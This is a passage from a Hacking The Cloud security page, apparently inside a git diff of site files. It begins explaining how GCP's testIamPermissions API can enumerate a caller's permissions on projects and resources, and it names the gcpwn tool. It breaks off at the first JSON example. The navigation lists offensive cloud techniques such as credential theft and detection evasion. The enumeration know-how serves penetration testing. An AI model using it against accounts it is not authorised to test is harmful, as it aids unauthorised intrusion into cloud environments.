href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex=0> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4 checked> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=true> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2 checked> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=true> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#what-is-testiampermissions class=md-nav__link> <span class=md-ellipsis> What is testIamPermissions? </span> </a> </li> <li class=md-nav__item> <a href=#gcpwn-introduction class=md-nav__link> <span class=md-ellipsis> GCPwn Introduction </span> </a> </li> <li class=md-nav__item> <a href=#enumerate-permissions-on-individual-resources class=md-nav__link> <span class=md-ellipsis> Enumerate Permissions on Individual Resources </span> </a> </li> <li class=md-nav__item> <a href=#enumerate-9500-permission-on-orgfolderproject class=md-nav__link> <span class=md-ellipsis> Enumerate ~9500 Permission on Org/Folder/Project </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#what-is-testiampermissions class=md-nav__link> <span class=md-ellipsis> What is testIamPermissions? </span> </a> </li> <li class=md-nav__item> <a href=#gcpwn-introduction class=md-nav__link> <span class=md-ellipsis> GCPwn Introduction </span> </a> </li> <li class=md-nav__item> <a href=#enumerate-permissions-on-individual-resources class=md-nav__link> <span class=md-ellipsis> Enumerate Permissions on Individual Resources </span> </a> </li> <li class=md-nav__item> <a href=#enumerate-9500-permission-on-orgfolderproject class=md-nav__link> <span class=md-ellipsis> Enumerate ~9500 Permission on Org/Folder/Project </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Scott Weston (@WebbinRoot)</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/gcp/enumeration/enumerate_all_permissions.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Enumerate Org/Folder/Project Permissions + Individual Resource Permissions</h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="m21.71 20.29-1.42 1.42a1 1 0 0 1-1.41 0L7 9.85A3.8 3.8 0 0 1 6 10a4 4 0 0 1-3.78-5.3l2.54 2.54.53-.53 1.42-1.42.53-.53L4.7 2.22A4 4 0 0 1 10 6a3.8 3.8 0 0 1-.15 1l11.86 11.88a1 1 0 0 1 0 1.41M2.29 18.88a1 1 0 0 0 0 1.41l1.42 1.42a1 1 0 0 0 1.41 0l5.47-5.46-2.83-2.83M20 2l-4 2v2l-2.17 2.17 2 2L18 8h2l2-4Z"/></svg></span> <strong>Tools mentioned in this article</strong></p> <hr> <p><a href=https://github.com/NetSPI/gcpwn>gcpwn</a></p> </li> </ul> </div> <h2 id=what-is-testiampermissions>What is testIamPermissions?<a class=headerlink href=#what-is-testiampermissions title="Permanent link">&para;</a></h2> <p>GCP offers a "testIamPermissions" API call on most resources that support policies. This includes resources like:</p> <ul> <li>Organizations</li> <li>Folders</li> <li>Projects</li> <li>Compute Instances</li> <li>Cloud Functions</li> </ul> <p>In MOST cases, the general psuedo-code is the same regardless of the resource. However, the permissions allowed are usually dependent on the resource. </p> <p>For example, for <strong>"Projects"</strong> (probably 99% of people's interest), testIamPermissions is documented <a href=https://cloud.google.com/resource-manager/reference/rest/v1/projects/testIamPermissions>here</a>. Note the general pattern is passing in an array (or list) of individual permissions and the service will return the list of permissions the caller is allowed <strong>in that specific project</strong>. So in the example below, we pass in a large number of permissions and maybe just "cloudfunctions.functions.list" is returned indicating our caller has that permission within this project (aka, can list all cloud functions in this project).</p> <div class=highlight><pre><span></span><code># Input
 {
   &quot;permissions&quot;: [
     compute.instances.addAccessConfig
diff --git a/gcp/enumeration/enumerate_service_account_permissions/index.html b/gcp/enumeration/enumerate_service_account_permissions/index.html
index fbbbf0ee2..822fe50db 100644
--- a/gcp/enumeration/enumerate_service_account_permissions/index.html
+++ b/gcp/enumeration/enumerate_service_account_permissions/index.html
@@ -1,4 +1,4 @@
